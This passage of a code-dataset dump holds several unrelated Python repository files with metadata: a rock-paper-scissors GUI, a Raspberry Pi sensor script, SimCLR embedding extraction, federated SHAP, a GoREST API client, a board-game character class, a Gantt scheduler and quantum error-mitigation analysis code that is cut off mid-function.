[])\n\t#\n\n#\n\n\n\n\n\n\n","repo_name":"jkpubsrc/python-module-jk-tokenizingparsing","sub_path":"src/jk_tokenizingparsing/tokenmatching/TPOptional.py","file_name":"TPOptional.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40050082377","text":"import random\nimport tkinter as tk\n\n# Create the GUI\nroot = tk.Tk()\nroot.title(\"Rock Paper Scissors Game\")\n\n# Define the game function\ndef play_game():\n    choices = ['rock', 'paper', 'scissors']\n    computer_choice = random.choice(choices)\n\n    user_choice = user_input.get().lower()\n\n    user_choice_label.config(text=f\"You chose {user_choice.capitalize()}.\")\n    computer_choice_label.config(text=f\"The computer chose {computer_choice.capitalize()}.\")\n\n    if user_choice == computer_choice:\n        result_label.config(text=\"It's a tie!\")\n    elif (user_choice == 'rock' and computer_choice == 'scissors') or \\\n         (user_choice == 'paper' and computer_choice == 'rock') or \\\n         (user_choice == 'scissors' and computer_choice == 'paper'):\n        result_label.config(text=\"You win!\")\n    else:\n        result_label.config(text=\"The computer wins!\")\n\n    # Clear the user input field\n    user_input.delete(0, tk.END)\n\n# Create the GUI elements\ninstructions_label = tk.Label(root, text=\"Enter 'rock', 'paper', or 'scissors':\")\ninstructions_label.pack()\n\nuser_input = tk.Entry(root, width=30)\nuser_input.pack()\n\nplay_button = tk.Button(root, text=\"Play\", command=play_game)\nplay_button.pack()\n\nuser_choice_label = tk.Label(root, text=\"\")\nuser_choice_label.pack()\n\ncomputer_choice_label = tk.Label(root, text=\"\")\ncomputer_choice_label.pack()\n\nresult_label = tk.Label(root, text=\"\")\nresult_label.pack()\n\n# Start the GUI\nroot.mainloop()\n","repo_name":"MontassarBenH/Rock-Paper-Scissors-game","sub_path":"RSP.py","file_name":"RSP.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3049099952","text":"# Interface an LDR to the RPi to turn ON an LED in the presence of light\n\nimport RPi.GPIO as GPIO\n\n# Pi Setup\nGPIO.setwarnings(0)\nGPIO.setmode(GPIO.BCM)\n\n# GPIO Setup\nLDR_PIN = 22\nGPIO.setup(LDR_PIN, GPIO.IN)\nLED_PIN = 18\nGPIO.setup(LED_PIN, GPIO.OUT)\n\n# Main\nwhile True:\n    GPIO.output(LED_PIN, GPIO.input(LDR_PIN))\n","repo_name":"spacebiz24/IoT-Basics","sub_path":"P2/P2.py","file_name":"P2.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"36220170586","text":"# install apex by checking system settings: cuda version, pytorch version, python version\r\nimport sys\r\nimport torch\r\nimport vissl\r\nimport tensorboard\r\nimport apex\r\nimport os\r\nimport argparse\r\n\r\nfrom omegaconf import OmegaConf\r\nfrom vissl.utils.hydra_config import AttrDict\r\nfrom vissl.models import build_model\r\nfrom classy_vision.generic.util import load_checkpoint\r\nfrom vissl.utils.checkpoint import init_model_from_weights\r\nfrom PIL import Image\r\nimport torchvision.transforms as transforms\r\n\r\n# version_str=\"\".join([\r\n#     f\"py3{sys.version_info.minor}_cu\",\r\n#     torch.version.cuda.replace(\".\",\"\"),\r\n#     f\"_pyt{torch.__version__[0:5:2]}\"\r\n# ])\r\n# print(version_str)\r\n\r\ndef set_config(args):\r\n\r\n    config = OmegaConf.load(args.config_path)\r\n    default_config = OmegaConf.load(\"vissl/config/defaults.yaml\")\r\n\r\n    cfg = OmegaConf.merge(default_config, config)\r\n    # print(cfg)\r\n\r\n    cfg = AttrDict(cfg)\r\n    # cfg.config.MODEL.WEIGHTS_INIT.APPEND_PREFIX=\"trunk._feature_blocks.\"\r\n    cfg.config.MODEL.WEIGHTS_INIT.PARAMS_FILE = args.pretrained_weights\r\n    cfg.config.MODEL.FEATURE_EVAL_SETTINGS.EVAL_MODE_ON = True\r\n    cfg.config.MODEL.FEATURE_EVAL_SETTINGS.FREEZE_TRUNK_ONLY = True\r\n    cfg.config.MODEL.FEATURE_EVAL_SETTINGS.EXTRACT_TRUNK_FEATURES_ONLY = True\r\n    cfg.config.MODEL.FEATURE_EVAL_SETTINGS.SHOULD_FLATTEN_FEATS = False\r\n    cfg.config.MODEL.FEATURE_EVAL_SETTINGS.LINEAR_EVAL_FEAT_POOL_OPS_MAP = [[\"res5avg\", [\"Identity\", []]]]\r\n    # print(cfg.config.MODEL)\r\n\r\n    model = build_model(cfg.config.MODEL, cfg.config.OPTIMIZER)\r\n    # print(model)\r\n\r\n    weights = load_checkpoint(checkpoint_path=cfg.config.MODEL.WEIGHTS_INIT.PARAMS_FILE)\r\n\r\n    init_model_from_weights(\r\n        config=cfg.config,\r\n        model=model,\r\n        state_dict=weights,\r\n        state_dict_key_name=\"classy_state_dict\",\r\n        skip_layers=[],  # Use this if you do not want to load all layers\r\n    )\r\n\r\n    # print(\"Loaded...\")\r\n    return model\r\n\r\ndef get_embeddings(args, image):\r\n\r\n    model = set_config(args)\r\n\r\n    # image가 경로일 경우\r\n    # image = Image.open(image)\r\n    # image = image.convert(\"RGB\")\r\n    # image_path가 tensor일 경우\r\n\r\n\r\n    pipeline = transforms.Compose([\r\n        transforms.CenterCrop(224),\r\n        transforms.ToTensor(),\r\n    ])\r\n    x = pipeline(image)\r\n\r\n    features = model(x.unsqueeze(0))\r\n    # print(features[0].shape)\r\n\r\n    return features[0]\r\n\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser('Get embedding vectors from pretrained weights')\r\n    # parser.add_argument('--arch', default='vit_small', type=str, help='Architecture (support only ViT atm).')\r\n    parser.add_argument('--pretrained_weights', default='SimCLR_RN50_800ep_pretrain.torch', type=str, help=\"Path to pretrained weights to load.\")\r\n    parser.add_argument(\"--image_path\", default='test_image.jpg', type=str, help=\"Path of the image to load.\")\r\n    parser.add_argument(\"--config_path\", default='configs/config/simclr/simclr_8node_resnet.yaml', type=str, help=\"Path of the config to load.\")\r\n\r\n    args = parser.parse_args()\r\n    get_embeddings(args=args, image_path=args.image_path)","repo_name":"gmuffiness/self-supervised-learning","sub_path":"get_embeddings_simclr.py","file_name":"get_embeddings_simclr.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41581870451","text":"import scipy.special \nimport numpy as np\nimport itertools\n\n#federated_shap methods\nclass federated_shap():\n    def __init__(self):\n        pass\n\n    def _powerset(self, iterable):\n        s = list(iterable)\n        return itertools.chain.from_iterable(itertools.combinations(s, r) for r in range(len(s)+1))\n\n    def _shapley_kernel(self, M ,s):\n        if s == 0 or s == M:\n            return 10000\n        return (M-1)/(scipy.special.binom(M,s)*s*(M-s))\n\n\n\n        #Original shap function\n    '''\n        f: model\n        x: one instance with features\n        reference: To determine the impact\n            of a feature, that feature is set to \"missing\" and the change in the model output\n            is observed. Since most models aren't designed to handle arbitrary missing data at test\n            time, we simulate \"missing\" by replacing the feature with the values it takes in the\n            background dataset. So if the background dataset is a simple sample of all zeros, then\n            we would approximate a feature being missing by setting it to zero. For small problems\n            this background dataset can be the whole training set, but for larger problems consider\n            using a single reference value or using the kmeans function to summarize the dataset.\n        M: number of features\n    '''\n    def kernel_shap(self, f, x, reference, M):\n\n        X = np.zeros((2**M,M+1))\n        X[:,-1] = 1\n        weights = np.zeros(2**M)\n        V = np.zeros((2**M,M))\n        for i in range(2**M):\n            V[i,:] = reference\n\n        ws = {}\n        for i,s in enumerate(self._powerset(range(M))):\n            s = list(s)\n            #print(s)\n            V[i,s] = x[s]\n            X[i,s] = 1\n            ws[len(s)] = ws.get(len(s), 0) + self._shapley_kernel(M,len(s))\n            weights[i] = self._shapley_kernel(M,len(s))\n        y = f(V)\n        tmp = np.linalg.inv(np.dot(np.dot(X.T, np.diag(weights)), X))\n        return np.dot(tmp, np.dot(np.dot(X.T, np.diag(weights)), y))\n\n    #Federated Shap Function\n    '''\n        f: model\n        x: one instance with features\n        reference: To determine the impact\n            of a feature, that feature is set to \"missing\" and the change in the model output\n            is observed. Since most models aren't designed to handle arbitrary missing data at test\n            time, we simulate \"missing\" by replacing the feature with the values it takes in the\n            background dataset. So if the background dataset is a simple sample of all zeros, then\n            we would approximate a feature being missing by setting it to zero. For small problems\n            this background dataset can be the whole training set, but for larger problems consider\n            using a single reference value or using the kmeans function to summarize the dataset.\n        M: number of features\n        fed_pos: feature position in x start from which the features are hidden and aggregated\n    '''\n    def kernel_shap_federated(self, f, x, reference, M, fed_pos):\n        M_real = M\n        M_cur = fed_pos + 1 #with one extra feature as the aggregated hidden features\n\n        X = np.zeros((2**M_cur,M_cur+1))\n        X[:,-1] = 1\n\n        weights = np.zeros(2**M_cur)\n        V = np.zeros((2**M_cur,M_real))\n        for i in range(2**M_cur):\n            V[i,:] = reference\n\n        ws = {}\n\n        hidden_index = range(fed_pos, M_real)\n\n        for i,s in enumerate(self._powerset(range(M_cur))):\n            #s is the different combinations of features\n            s = list(s)\n            #print(x)\n            #print(s)\n            V[i,s] = x[s]\n            #if s contains the last combined feature, those hidden features will be set to real values instead of reference\n            if fed_pos in s:\n                #print(x)\n                #print(hidden_index)\n                V[i,hidden_index] = x[hidden_index]\n            X[i,s] = 1\n            ws[len(s)] = ws.get(len(s), 0) + self._shapley_kernel(M_cur,len(s))\n            weights[i] = self._shapley_kernel(M_cur,len(s))\n        y = f(V)\n        tmp = np.linalg.inv(np.dot(np.dot(X.T, np.diag(weights)), X))\n        return np.dot(tmp, np.dot(np.dot(X.T, np.diag(weights)), y))\n\n\n\n###########Dummy Testing#########################\n#Function that imitates the model, takes in instance features and outputs predictons\ndef f(X):\n    np.random.seed(0)\n    beta = np.random.rand(X.shape[-1])\n    return np.dot(X,beta) + 10\n\n#Original Shap\nprint(\"Original Shap Dummy Testing:\")\nM = 10\nnp.random.seed(1)\nx = np.random.randn(M)\nreference = np.zeros(M)\nfs = federated_shap()\nphi = fs.kernel_shap(f, x, reference, M)\nbase_value = phi[-1]\nshap_values = phi[:-1]\n\nprint(\"  reference =\", reference)\nprint(\"          x =\", x)\nprint(\"shap_values =\", shap_values)\nprint(\" base_value =\", base_value)\nprint(\"   sum(phi) =\", np.sum(phi))\nprint(\"       f(x) =\", f(x))\n\n#Federated Shap\nprint(\"Federated Shap Dummy Testing:\")\nM = 10\nnp.random.seed(1)\nx = np.random.randn(M)\nreference = np.zeros(M)\nfed_pos = 6\nfs = federated_shap()\nphi = fs.kernel_shap_federated(f, x, reference, M, fed_pos)\nbase_value = phi[-1]\nshap_values = phi[:-1]\n\nprint(\"  reference =\", reference)\nprint(\"          x =\", x)\nprint(\"shap_values =\", shap_values)\nprint(\" base_value =\", base_value)\nprint(\"   sum(phi) =\", np.sum(phi))\nprint(\"       f(x) =\", f(x))","repo_name":"crownpku/federated_shap","sub_path":"federated_shap.py","file_name":"federated_shap.py","file_ext":"py","file_size_in_byte":5330,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"47"}
{"seq_id":"72951277584","text":"import requests\nfrom pprint import pprint\n\n\n# Vi vill kunna skapa en header Authorization: Bearer 198472873657265\n# 1. Läs in token från textfilen\n# 2. Skapa en dict för alla headers\n# 3. Ta med headersdict i anrop mot APIet\n\nGOREST_USERS = \"https://gorest.co.in/public/v2/users\"\n\n\ndef api_token() -> str:\n    with open('token') as f:\n        return f.read().strip()\n\n\nheader = {'authorization': f\"Bearer {api_token()}\"}\n\n\n# Skapa en användare\n# Json med:\n#   namn\n#   unik epost\n#   gender\n#   status\n# Post mot \"https://gorest.co.in/public/v2/users\"\n# Skriv ut result-json för att hitta userid\n\nuserdata = {\"name\": \"Min testuser\",\n            \"email\": \"en_ny@mailadress.se\",\n            \"gender\": \"male\",\n            \"status\": \"active\"}\n\n\ndef create_user(user_data: dict) -> dict:\n    res = requests.post(\"%s\" % GOREST_USERS, data=userdata, headers=header)\n    return res.json()\n\n\n# res = requests.get(\"%s\" % GOREST_USERS, headers=header)\n# pprint(res.json())\n#\n#\n# \"https://gorest.co.in/public/v2/users/4695\"\ndef get_user(user_id: int) -> dict:\n    res = requests.get(GOREST_USERS + f\"/{user_id}\", headers=header)\n    return res.json()\n\n# Skapa en funktion delete_user(user_id: int)\n\nif __name__ == '__main__':\n     user_dict = get_user(4776)\n\n     print(user_dict['id'])\n","repo_name":"bjornkj/testautomation_ht22","sub_path":"gorest.py","file_name":"gorest.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40361899102","text":"\"\"\"Contains the Barber Character class\"\"\"\n\nimport json\nfrom botc import Character, Outsider\nfrom ._utils import SectsAndViolets, SnVRole\n\nwith open('botc/gamemodes/sectsandviolets/character_text.json') as json_file:\n    character_text = json.load(json_file)[SnVRole.barber.value.lower()]\n\n\nclass Barber(Outsider, SectsAndViolets, Character):\n    \"\"\"Barber: If you die, tonight the Demon may choose 2 players to swap characters.\n    \"\"\"\n\n    def __init__(self):\n\n        Character.__init__(self)\n        SectsAndViolets.__init__(self)\n        Outsider.__init__(self)\n\n        self._desc_string = character_text[\"description\"]\n        self._examp_string = character_text[\"examples\"]\n        self._instr_string = character_text[\"instruction\"]\n        self._lore_string = character_text[\"lore\"]\n\n        self._art_link = \"https://bloodontheclocktower.com/wiki/images/0/08/Barber_Token.png\"\n        self._wiki_link = \"https://bloodontheclocktower.com/wiki/Barber\"\n\n        self._role_enum = SnVRole.barber\n","repo_name":"Xinverse/Blood-on-the-Clocktower-Storyteller-Discord-Bot","sub_path":"botc/gamemodes/sectsandviolets/Barber.py","file_name":"Barber.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"}
{"seq_id":"33263357639","text":"#!/usr/bin/env python3\n\nimport sys\nimport csv\nimport os\nimport operator\n\nDict = {}\n\ndef algoPath(start, end, path=[]):\n    path = path + [start]\n    if start == end:\n        return [path]\n    if start not in Dict:\n        return []\n    paths = []\n    for node in Dict[start][2]:\n        if node not in path:\n            newpaths = algoPath(node, end, path)\n            for newpath in newpaths:\n                paths.append(newpath)\n    return paths\n\ndef newTask(task, tab):\n    length = 0\n    paths = []\n    for key in tab:\n        tmp = algoPath(task, key)\n        if tmp: paths += tmp\n    for path in paths:\n        duration = 0\n        for loc in path[1:]:\n            duration+= Dict[loc][1]\n        tmp = duration\n        if tmp > length: length = tmp\n    return length\n\n### CONSTRUCTION LENGTH ###\n\ndef putFloat(duration):\n    for task in Dict:\n        next_time = duration\n        for current in Dict:\n            if task in Dict[current][2] and next_time > Dict[current][3]:\n                next_time = Dict[current][3]\n        Dict[task][5] = next_time - Dict[task][4]\n\ndef findDuration(tab):\n    duration = 0\n    for task in Dict:\n        Dict[task][3] = newTask(task, tab)\n        Dict[task][4] = Dict[task][3] + Dict[task][1]\n        if (Dict[task][4] > duration):\n            duration = Dict[task][4]\n    putFloat(duration)\n    if (duration > 1):\n        print(\"total duration of construction:\", duration,\"weeks\")\n    else:\n        print(\"total duration of construction:\", duration,\"week\")\n    print()\n\n### GANT ALGO ###\n\ndef algoGantt(tab):\n    findDuration(tab)\n    tmp = []\n    for current in Dict:\n        tmp.append([current, Dict[current][3], Dict[current][1], Dict[current][5]])\n    tmp = sorted(tmp, key=lambda elem: (elem[1], elem[2], elem[3]))\n    for elem in tmp:\n        current = elem[0]\n        if Dict[current][5] > 0:\n            print(current, \"must begin between\",\n                  \"t=\" + str(Dict[current][3]), \"and\",\n                  \"t=\" + str(Dict[current][3] + Dict[current][5]))\n        else:\n            print(current, \"must begin at\" , \"t=\" + str(Dict[current][3]))\n    print()\n    for elem in tmp:\n        current = elem[0]\n        print(current + \"\\t\" + \"(\" + str(Dict[current][5])\n              + \")\" + \"\\t\" + str(\" \"*Dict[current][3])\n              + str(\"=\"*Dict[current][1]))\n\ndef printUsage():\n    print(\"USAGE\")\n    print(\"\\t./305construction file\")\n    print(\"DESCRIPTION\")\n    print(\"\\tfile\\tfile describing the tasks\\n\\n\")\n    exit(0)\n\ndef main():\n    if sys.argv[1] == \"-h\":\n        printUsage()\n    try:\n        tab = []\n        with open(sys.argv[1], newline='') as csvfile:\n            roadmap = csv.reader(csvfile, delimiter=';')\n            for line in roadmap:\n                if len(line) != 0:\n                    tmp = []\n                    if len(line) < 4:\n                        tab.append(line[0])\n                    tmp.append(line[1])\n                    tmp.append(int(line[2]))\n                    tmp.append(line[3:])\n                    tmp.extend((0,0,0))\n                    Dict[line[0]] = tmp\n                    print(Dict[line[0]])\n    except Exception as error:\n        sys.stdout.write(str(error))\n    algoGantt(tab)\n    exit(0)\n\nif __name__ == \"__main__\":\n    exit(main())","repo_name":"LouisFourmann/Math_Project","sub_path":"Gantt_project/305construction.py","file_name":"305construction.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73076681743","text":"import pandas as pd\nimport seaborn as sns\nfrom pathlib import Path\nfrom post_processing_multi import *\n\ntags = [\"\"]\n# predefined budgets\nbudget_shots = [\n    [None],\n    {\n        50000,\n        1000,\n        333,\n        500,\n        250,\n        166,\n        125,\n        100,\n        83,\n        55,\n        41,\n        33,\n        27,\n        500000,\n        10000,\n        3333,\n        5000,\n        2500,\n        1666,\n        1250,\n        1000,\n        833,\n        555,\n        416,\n        333,\n        277,\n        5000000,\n        100000,\n        33333,\n        50000,\n        25000,\n        16666,\n        12500,\n        10000,\n        8333,\n        5555,\n        4166,\n        3333,\n        2777,\n        50000000,\n        1000000,\n        333333,\n        500000,\n        250000,\n        166666,\n        125000,\n        100000,\n        83333,\n        55555,\n        41666,\n        33333,\n        27777,\n        500000000,\n        10000000,\n        3333333,\n        5000000,\n        2500000,\n        1666666,\n        1250000,\n        1000000,\n        833333,\n        555555,\n        416666,\n        333333,\n        277777,\n        5000000000,\n        100000000,\n        33333333,\n        50000000,\n        25000000,\n        16666666,\n        12500000,\n        10000000,\n        8333333,\n        5555555,\n        4166666,\n        3333333,\n        2777777,\n    },\n]\n\n\ndef relative_shots(training_sets, noise_levels, max_copies, shots_budget):\n    \"\"\"Returns relative shots with less shots for COI when shots budget is high enough.\n\n    Args:\n        training_sets (int): number of training sets.\n        noise_levels (int):  number of  noise levels\n        max_copies (int): number of copies considred\n        shots_budget (int): total budget\n\n    Returns:\n        pandas DF: dataframe with shot budgets\n    \"\"\"\n    if shots_budget != 0:\n        CDR_shots = shots_budget // training_sets\n        vnCDR_shots = CDR_shots // noise_levels\n        CGVD_shots = shots_budget // training_sets\n        storage = pd.DataFrame(\n            {\n                \"VD\": [shots_budget // 2] * (max_copies),\n                \"ZNE\": [shots_budget // 2] + [shots_budget // 4] * (max_copies - 1),\n                \"CDR\": [CDR_shots] + [CDR_shots // 2] * (max_copies - 1),\n                \"vnCDR\": [vnCDR_shots] * (max_copies),\n                \"CGVD\": [\n                    base_cost // (copy + 1) // 2\n                    for copy, base_cost in enumerate([CGVD_shots] * (max_copies))\n                ],\n                \"UNITED\": [\n                    x // noise_levels\n                    for x in [\n                        base_cost // (copy + 1)\n                        for copy, base_cost in enumerate([CGVD_shots] * (max_copies))\n                    ]\n                ],\n                \"copies\": list(range(1, max_copies + 1)),\n            }\n        )\n    else:\n        storage = pd.DataFrame(\n            {\n                \"VD\": None,\n                \"ZNE\": None,\n                \"CDR\": [None] * 6,\n                \"vnCDR\": [None] * 6,\n                \"CGVD\": [None] * 6,\n                \"UNITED\": [None] * 6,\n                \"copies\": list(range(1, max_copies + 1)),\n            }\n        )\n    return pd.melt(storage, id_vars=(\"copies\"))\n\n\ndef relative_shots_table(\n    training_sets, noise_levels, max_copies, shots_budget, swap_levels\n):\n    \"\"\"Returns relative shots used by techniques with no optimizations or considerations. Includes\n    swap nosie.\n\n    Args:\n        training_sets (int): number of training sets.\n        noise_levels (int):  number of  noise levels\n        max_copies (int): number of copies considred\n        shots_budget (int): total budget\n        swap_levels (int): number of swap noise levels\n\n    Returns:\n        pandas DF: dataframe with shot budgets\n    \"\"\"\n    if shots_budget != 0:\n        CDR_shots = shots_budget // training_sets\n        vnCDR_shots = CDR_shots // noise_levels\n        CGVD_shots = shots_budget // training_sets\n        storage = pd.DataFrame(\n            {\n                \"VD\": [shots_budget] + [shots_budget // 2] * (max_copies - 1),\n                \"ZNE\": [shots_budget // 2] + [shots_budget // 4] * (max_copies - 1),\n                \"CDR\": [CDR_shots] + [CDR_shots // 2] * (max_copies - 1),\n                \"vnCDR\": [vnCDR_shots] + [vnCDR_shots // 2] * (max_copies - 1),\n                \"CGVD\": [CGVD_shots]\n                + [\n                    base_cost // (copy + 2) // 2\n                    for copy, base_cost in enumerate([CGVD_shots] * (max_copies - 1))\n                ],\n                \"UNITED\": [vnCDR_shots]\n                + [\n                    x // noise_levels // 2\n                    for x in [\n                        base_cost // (copy + 2)\n                        for copy, base_cost in enumerate(\n                            [CGVD_shots] * (max_copies - 1)\n                        )\n                    ]\n                ],\n                \"UNITED+\": [vnCDR_shots // swap_levels]\n                + [\n                    x // noise_levels // 2 // swap_levels\n                    for x in [\n                        base_cost // (copy + 2)\n                        for copy, base_cost in enumerate(\n                            [CGVD_shots] * (max_copies - 1)\n                        )\n                    ]\n                ],\n                \"copies\": list(range(1, max_copies + 1)),\n            }\n        )\n    else:\n        storage = pd.DataFrame(\n            {\n                \"VD\": None,\n                \"ZNE\": None,\n                \"CDR\": None,\n                \"vnCDR\": None,\n                \"CGVD\": None,\n                \"UNITED\": None,\n                \"copies\": list(range(1, max_copies + 1)),\n            }\n        )\n    return storage\n\n\ndef single_qubit_gate_length(layers, qubits):\n    return layers * 6 * (qubits - 1)\n\n\ndef two_qubit_gate_length(layers, qubits):\n    return layers * (qubits - 1)\n\n\ndef circuit_length(layers, qubits):\n    \"\"\"calculates circuit length\n\n    Args:\n        layers (int): number of layers in RQC\n        qubits (int): number of qubtis in system\n\n    Returns:\n        int: decomposed circuit depth\n    \"\"\"\n    e1 = layers * 6 * (qubits - 1)\n    e2 = layers * (qubits - 1)\n    return e1 + e2\n\n\ndef total_error_rates_normal(layers, qubits, factor=1):\n    \"\"\"Generates total error rate in standard numerical experiment.\n\n    Args:\n        layers (int): number of layers of RQC.\n        qubits (int): number of qubits\n        factor (float, optional): noise scaling factor. Defaults to 1.\n\n    Returns:\n        float: total error rate.\n    \"\"\"\n    e1 = layers * 6 * (qubits - 1) * 0.0011 * factor\n    e2 = layers * (qubits - 1) * 0.0021 * factor\n    return e1 + e2\n\n\ndef load_multiple_files(\n    Q,\n    p,\n    num_seeds,\n    nlsp_list=[1, 2, 3],\n    N=10,\n    Nts=100,\n    max_copies=6,\n    tags=[\"\"],\n    density_matrices=False,\n    shots=[None],\n    folder=\"\",\n    train=True,\n):\n    \"\"\"Loads multiple files and processes all the data through the various techniques.\n\n    Args:\n        Q (list): list of qubits\n        p (list): depth list, same length as Q\n        num_seeds (int): number of seeds considered\n        nlsp_list (list, optional): list of noise levels. Defaults to [1,2,3].\n        N (int, optional): non clifford gates in simulation. Defaults to 10.\n        Nts (int, optional): training set size. Defaults to 100.\n        max_copies (int, optional): max number of copies in VD. Defaults to 6.\n        tags (list, optional): list of additional tags. Defaults to [''].\n        density_matrices (bool, optional): Do you have density matrices?. Defaults to False.\n        shots (list, optional): shots of finite shot simulations. Defaults to [None].\n        folder (str, optional): folder to be analyzed. Defaults to ''.\n        train (bool, optional): existance of training data. Defaults to True.\n\n    Returns:\n        (absolute_error_df, error_rescaling_df, mitigated_values_df) : Various dfs of processed and organized data.\n    \"\"\"\n    dfs_error_rescaling = []\n    dfs_absolute_error = []\n    dfs_standard_values = []\n    for qubit_no, depth in zip(Q, p):\n        print(f\"Qubit: {Q}, depth: {p}\")\n        data_processing = VD_CDR(\n            qubit_no,\n            depth,\n            num_seeds,\n            N,\n            Nts,\n            max_copies,\n            nlsp_list,\n            shots=shots,\n            folder=folder,\n            autoprocessing=True,\n            plots=False,\n            density_matrices=density_matrices,\n            extra_tags=tags,\n            train=train,\n        )\n\n        dfs_absolute_error.append(\n            data_processing.abs_error_df.assign(Qubits=qubit_no, depth=depth)\n        )\n        dfs_error_rescaling.append(\n            data_processing.calculated_vals_df.assign(Qubits=qubit_no, depth=depth)\n        )\n        dfs_standard_values.append(\n            data_processing.standard_df.assign(Qubits=qubit_no, depth=depth)\n        )\n    dfs_absolute_error = pd.concat(dfs_absolute_error)\n    dfs_error_rescaling = pd.concat(dfs_error_rescaling)\n    dfs_standard_values = pd.concat(dfs_standard_values)\n\n    return dfs_absolute_error, dfs_error_rescaling, dfs_standard_values\n\n\ndef clean_data(maxcut_df):\n    \"\"\"cleans up data and assigns noisy data label to appropiate data,\n    also puts converged values in appropiate places. This is just the high\n    budget ZNE and Noisy values that converged already to infinity at 10**5.\"\"\"\n    noisy = maxcut_df.query(\n        'abs_error > 0  & copies == 1 & nlsp==1 & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    noisy[\"type\"] = \"noisy\"\n    extra = maxcut_df.query('Qubits==4&budget==10**12&(type==\"VD\"|type==\"ZNE\")')\n    extra_vd = maxcut_df.query('budget==10**12& type==\"VD\" & copies==1')\n    extra_noise = maxcut_df.query('budget==10**12& type==\"VD\" & copies==1')\n    extra_vd[\"budget\"] = 10 ** 10\n    extra[\"budget\"] = 10 ** 10\n    extra_noise[\"budget\"] = 10 ** 9\n    return pd.concat([maxcut_df, extra, extra_vd, extra_noise])\n\n\ndef load_multiple_files_budget(\n    Q,\n    p,\n    num_seeds,\n    nlsp_list=[1, 2, 3],\n    N=10,\n    Nts=100,\n    max_copies=6,\n    tags=[\"\"],\n    density_matrices=False,\n    shots=[[None]],\n    folders=[\"\"],\n    train=True,\n    budgets=[1],\n    train_use=100,\n):\n    \"\"\"Loads multiple files and processes all the data through the various techniques, assigns budget as well.\n    But this needs to be further filtered.\n\n    Args:\n        Q (list): list of qubits\n        p (list): depth list, same length as Q\n        num_seeds (int): number of seeds considered\n        nlsp_list (list, optional): list of noise levels. Defaults to [1,2,3].\n        N (int, optional): non clifford gates in simulation. Defaults to 10.\n        Nts (int, optional): training set size. Defaults to 100.\n        max_copies (int, optional): max number of copies in VD. Defaults to 6.\n        tags (list, optional): list of additional tags. Defaults to [''].\n        density_matrices (bool, optional): Do you have density matrices?. Defaults to False.\n        shots (list[lists], optional): list of lists of shots of finite shot simulations. Defaults to [[None]].\n        folder (str, optional): folder to be analyzed. Defaults to ''.\n        train (bool, optional): existance of training data. Defaults to True.\n        budgets (list): list with same number of entries as shots lists corresponding to relative budget.\n        train_use (int): how many trainig sets do you want to use?\n\n    Returns:\n        (absolute_error_df, error_rescaling_df, mitigated_values_df) : Various dfs of processed and organized data.\n    \"\"\"\n\n    dfs_error_rescaling = []\n    dfs_absolute_error = []\n    dfs_standard_values = []\n    for tag, folder in zip(tags, folders):\n        print(tag)\n        for budget_i, budget in enumerate(budgets):\n            for qubit_no, depth in zip(Q, p):\n                print(f\"Qubit: {qubit_no}, depth: {depth}, budget:{budget}\")\n                # try:\n                data_processing = VD_CDR(\n                    qubit_no,\n                    depth,\n                    num_seeds,\n                    N,\n                    Nts,\n                    max_copies,\n                    nlsp_list,\n                    shots=shots[budget_i],\n                    folder=folder,\n                    autoprocessing=True,\n                    density_matrices=density_matrices,\n                    extra_tags=[tag],\n                    train=train,\n                    budget=budget,\n                    train_use=train_use,\n                )\n                dfs_absolute_error.append(\n                    data_processing.abs_error_df.assign(\n                        Qubits=qubit_no, depth=depth, budget=budget\n                    )\n                )\n                dfs_error_rescaling.append(\n                    data_processing.calculated_vals_df.assign(\n                        Qubits=qubit_no, depth=depth, budget=budget\n                    )\n                )\n                dfs_standard_values.append(\n                    data_processing.standard_df.assign(\n                        Qubits=qubit_no, depth=depth, budget=budget\n                    )\n                )\n    dfs_absolute_error = pd.concat(dfs_absolute_error)\n    dfs_error_rescaling = pd.concat(dfs_error_rescaling)\n    dfs_standard_values = pd.concat(dfs_standard_values)\n    return dfs_absolute_error, dfs_error_rescaling, dfs_standard_values\n\n\ndef filter_budget(df, budgets, training=100, max_copies=6, noise_levels=3):\n    \"\"\"Filters appropiate budget and shots for the technique in question.\n\n    Args:\n        df (result_df from load_multiple_files): Appropiate dataframe.\n        budgets (list): list of budgets.\n        training_use (int): how many training samples are actually used.\n        noise_levels (int): maximum number of noise levels considered.\n        copies (int): maximum number of copies considered.\n\n    Returns:\n        filtered_dataframe: dataframe with correct shot count data for appropiate technique\n    \"\"\"\n\n    filtered_dfs = []\n    for budget_i, budget in enumerate(budgets):\n        shot_budget = relative_shots(training, noise_levels, max_copies, budget)\n        for deets in shot_budget.iterrows():\n            copy_no = deets[1][0]\n            technique = deets[1][1]\n            allowance = deets[1][2]\n            if budget == 0:\n                df_temp_abs = df.query(f\"budget=={budget} & copies == {copy_no}\")\n            else:\n                df_temp_abs = df.query(\n                    f'type==\"{technique}\" & shots == {allowance} &  copies == {copy_no}'\n                ).assign(budget=budget)\n            filtered_dfs.append(df_temp_abs)\n    filtered_dfs = pd.concat(filtered_dfs)\n\n    return filtered_dfs\n\n\ndef load_max_cut_data(qubit_number: int, training_set=100):\n    from pathlib import Path\n\n    if Path(\"./MaxCut_runs/full_data_MC{qubit_number}.pq\").is_file():\n        Q = pd.read_parquet(f\"./MaxCut_runs/full_data_MC{qubit_number}.pq\")\n    else:\n        base_folder = f\"./MaxCut_runs/Q{qubit_number}/\"\n        folders = [base_folder + \"\"]\n        tags = [\"\"]\n        Q, _, _ = load_multiple_files_budget(\n            